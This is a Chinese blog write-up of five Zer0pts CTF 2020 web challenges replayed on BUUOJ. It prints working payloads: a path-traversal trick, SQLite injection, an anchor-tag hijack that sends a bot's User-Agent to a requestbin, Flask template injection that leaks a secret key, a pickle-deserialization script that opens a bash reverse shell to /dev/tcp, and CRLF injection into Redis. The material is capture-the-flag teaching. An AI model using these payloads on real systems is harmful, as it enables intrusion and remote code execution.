Ricky's Blog


Zer0pts2020 web复现
2021-02-08

Zer0pts2020 web复现

Zer0pts2020 web复现
源码: https://gitlab.com/zer0pts/zer0pts-ctf-2020/-/tree/master/

[Zer0pts2020]Can you guess it?

source

<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}

下面那一部分是猜不到的, 必须通过source获得config.php, 重点是这句读取文件的话

highlight_file(basename($_SERVER['PHP_SELF']));

存在一个过滤机制

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF']))

也就是config.php只能当作一个目录, 不能被当作文件读取

/index.php/config.php

直接这样读会被过滤掉, 这里考了basename的漏洞

忽略文件名开头非ASCLL码的值

输入的目录    /test/äaä.txt
实际返回的目录 /test/aä.txt

所以我们最终的payload

/index.php/config.php/ä?source
# ä无法被读取, 所以显示的是/index.php/config.php/也就是读取config.php

[Zer0pts2020]phpNantokaAdmin

三个知识点

第一个:

我们在使用sqlite语法的时候列名是可以加方括号的,是为了和mysql语法兼容。例如:

select [sql] from sqlite_master;

第二个:

我们在使用sqlite_master时使用错误的语法,sqlite将会忽略后面列的名称,无论列的名称是否真实的存在,除非在列之间放置。

create table sometbl (somecol INT);
insert into sometbl values(1);
select somecol from sometbl;
// 1
select somecol somecoaaaal from sometbl;
// 1

第三个:

我们在使用sqlite语法时,用该语句create table ..as select ..创建表时可以不用带括号。例如:

create table sometbl2 as select 2;
select * from sometbl2;
// 2

输入的拼接部分在 index.php

$sql = "CREATE TABLE {$table_name} (";
$sql .= "dummy1 TEXT, dummy2 TEXT";
for ($i = 0; $i < count($columns); $i++) {
    $column = (string) ($columns[$i]['name'] ?? '');
    $type = (string) ($columns[$i]['type'] ?? '');
    if (!is_valid($column) || !is_valid($type)) {
        flash('Column name or type contains dangerous characters.');
    }
    if (strlen($column) < 1 || 32 < strlen($column) || strlen($type) < 1 || 32 < strlen($type)) {
        flash('Column name and type must be 1-32 characters.');
    }
    $sql .= ', ';
    $sql .= "`$column` $type";
}
$sql .= ');';
# util.php 中的过滤机制
function is_valid($string) {
    $banword = [
        // comment out, calling function...
        "[\"#'()*,\\/\\\\`-]"
    ];
    $regexp = '/' . implode('|', $banword) . '/i';
    if (preg_match($regexp, $string)) {
        return false;
    }
    return true;
}

每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名
用 as select sql from sqlite_master 来复制sqlite_master的sql字段

table_name和column可控, 然后会在table_name后面拼接 dummy1 TEXT, dummy2 TEXT

过滤了双引号,sqlite可以用[]代替

table_name=aaa as select sql as[&columns[0][name]=]from sqlite_master;&columns[0][type]=2

得到

CREATE TABLE `flag_bf1811da` (`flag_2a2d04c3` TEXT)

然后继续读取

table_name=aaa as select flag_2a2d04c3 as[&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

[Zer0pts2020]musicblog

源码给了worker.js

const flag = 'zer0pts{<censored>}';
const crawl = async (url) => {
    console.log(`[+] Query! (${url})`);
    const page = await browser.newPage();
    try {
        await page.setUserAgent(flag);
        await page.goto(url, {
            waitUntil: 'networkidle0',
            timeout: 10 * 1000,
        });
        await page.click('#like');
    } catch (err){
        console.log(err);
    }
    await page.close();
    console.log(`[+] Done! (${url})`)
};

后台会点击 #like标签, 我们可以在content下插入标签

<form action="/new_post.php" method="POST">
            <div class="form-group">
              <label for="title">Title</label>
              <input type="text" class="form-control" id="title" name="title">
              <small class="form-text text-muted">format: <code>/^[0-9A-Za-z ]+$/</code></small>
            </div>
            <div class="form-group">
              <label for="content">Content</label>
              <textarea class="form-control" id="content" name="content" rows="5"></textarea>
              <small class="form-text text-muted">Note: <code>[[URL]]</code> will be replaced by audio player.</small>
            </div>
          </form>

有过滤只能使用audio标签

<?php
// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
  $str = preg_replace('/\[\[(.+?)\]\]/', '<audio controls src="\\1"></audio>', $str);
  $str = strip_tags($str, '<audio>'); // only allows `<audio>`
  return $str;
}

<audio>受限制, 不能跨域请求

<?php
error_reporting(0);
require_once 'config.php';
require_once 'util.php';
$nonce = get_nonce();
header("Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic'; base-uri 'none'; trusted-types");
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
session_start();

<a/udio>在浏览器里会解析成<a>标签, 本题中允许使用斜杠

制作超链接标签, buuoj内网接受表单http://http.requestbin.buuoj.cn/

<a/udio id=like href="http://http.requestbin.buuoj.cn/yzvefsyz">#like</audio>

User-agent处返回flag

User-Agent: flag{dcc18171-78a0-4215-95b9-4caf754b4aa8}

[Zer0pts2020]notepad

部分源码

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)
@app.route('/', methods=['GET'])
def index():
    return notepad(0)
 
@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
    data = load()
    if not 0 <= nid < len(data):
        nid = 0
    return flask.render_template('index.html', data=data, nid=nid)
@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'
    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
    return flask.render_template_string(html), 404
 
def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url
    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404
    return True
def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]
    return data

404部分存在模板注入, 写入referer部分会被读取, 但是有长度限制

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")
    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'
    html = '<html><head><meta http-equiv="Refresh" content="3;URL={}"><title>404 Not Found</title></head><body>Page not found. Redirecting...</body></html>'.format(referrer)
    return flask.render_template_string(html), 4
# 长度限制

def valid_url(url):
    """ Check if given url is valid """
    host = flask.request.host_url
    if not url.startswith(host): return False  # Not from my server
    if len(url) - len(host) > 16: return False # Referer may be also 404
    return Tr

构造Referer, 读取secret_key, 可以伪造session

Referer:http://7ea1b22f-719e-4444-80fd-31cd91e0b13b.node3.buuoj.cn/{{config}}
# 'SECRET_KEY': b'\xc6\x91|{\xbe\n\xea\x00q\xee\x1emy{\xed\xae'

只要访问/note/1就会触发load(), 也就是pickle.loads()的参数可控

@app.route('/note/<int:nid>', methods=['GET'])
def notepad(nid=0):
    data = load()
    if not 0 <= nid < len(data):
        nid = 0
    return flask.render_template('index.html', data=data, nid=nid

pickle反序列化攻击(BUU我就试通了这个, 需要在虚拟机上执行才能返回公网弹shell)

from flask.sessions import SecureCookieSessionInterface
import os, sys, pickle, base64, requests
COMMAND = "bash -c 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1'"
class PickleRce(object):
    def __reduce__(self):
        return (os.system, (COMMAND,))
class App(object):
    def __init__(self):
        self.secret_key = None
app = App()
app.secret_key = b'\xc6\x91|{\xbe\n\xea\x00q\xee\x1emy{\xed\xae'
si = SecureCookieSessionInterface()
serializer = si.get_signing_serializer(app)
session = serializer.dumps({'savedata': base64.b64encode(pickle.dumps(PickleRce()))})
requests.get('http://d041f077-6fee-4dbf-9691-f92710684b1d.node3.buuoj.cn/note/1', cookies={
    'session': session
})
# test
# test = pickle.dumps(PickleRce())
# data = pickle.loads(test)
# print(data)

flag 在/home/web/flag

[Zer0pts2020]urlapp

source

def connect()
  sock = TCPSocket.open("redis", 6379)
 
  if not ping(sock) then
    exit
  end
  return sock
end
 
def query(sock, cmd)
  sock.write(cmd + "rn")
end
 
def recv(sock)
  data = sock.gets
  if data == nil then
    return nil
  elsif data[0] == "+" then
    return data[1..-1].strip
  elsif data[0] == "$" then
    if data == "$-1rn" then
      return nil
    end
    return sock.gets.strip
  end
 
  return nil
end
 
def ping(sock)
  query(sock, "ping")
  return recv(sock) == "PONG"
end
 
def set(sock, key, value)
  query(sock, "SET #{key} #{value}")
  return recv(sock) == "OK"
end
 
def get(sock, key)
  query(sock, "GET #{key}")
  return recv(sock)
end
 
before do
  sock = connect()
  set(sock, "flag", File.read("flag.txt").strip)
end
 
get '/' do
  if params.has_key?(:q) then
    q = params[:q]
    if not (q =~ /^[0-9a-f]{16}$/)
      return
    end
 
    sock = connect()
    url = get(sock, q)
    redirect url
  end
 
  send_file 'index.html'
end
 
post '/' do
  if not params.has_key?(:url) then
    return
  end
 
  url = params[:url]
  if not (url =~ URI.regexp) then
    return
  end
 
  key = Random.urandom(8).unpack("H*")[0]
  sock = connect()
  set(sock, key, url)
 
  "#{request.host}:#{request.port}/?q=#{key}"
end

功能: URL缩短,用redis作存储
漏洞: url可控,可以通过CRLF注入直接操作redis
第一个是Get请求/
如果请求参数中有q并且q满足0-9a-f, 16位长度就带入get函数
get函数是进入redis执行GET q
相当于实现了一个获取任意键的值
第二个是Post请求/
如果请求参数中有url。并且是URI格式。
随机生成16位字符串为key。然后调用set函数。进入redis执行
set key url
然后返回key。
大致意思就是利用POST一个URL。然后生成随机key。存储在redis
然后get就是通过随机的key, 获取值, 这里没有过滤\r\n。导致我们可以执行Redis命令

步骤

利用BITOP命令, 将flag异或1, 存入abababababababab(16位, 不然GET不了)
然后利用setbit将第一个字符W, 二进制的第2位改为0, 第3位改为1, 构造出?
提交一次后用GET请求?q=abababababababab

第一步payload

POST / HTTP/1.1
...
url=http://localhost/
SET tmp 1
BITOP XOR abababababababab flag tmp
setbit abababababababab 1 0
setbit abababababababab 2 1
setbit abababababababab 4 1

第二步payload

GET /?q=abababababababab
...
url=http://localhost/
SET tmp 1
BITOP XOR abababababababab flag tmp
setbit abababababababab 1 0
setbit abababababababab 2 1
setbit abababababababab 4 1

一些wp还提供了重定向的脚本, 在BUU没有试成
参考文献

Zer0pts CTF 2020的web赛后记录+复现环境

[Zer0pts2020]urlapp(CRLF+Redis)

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部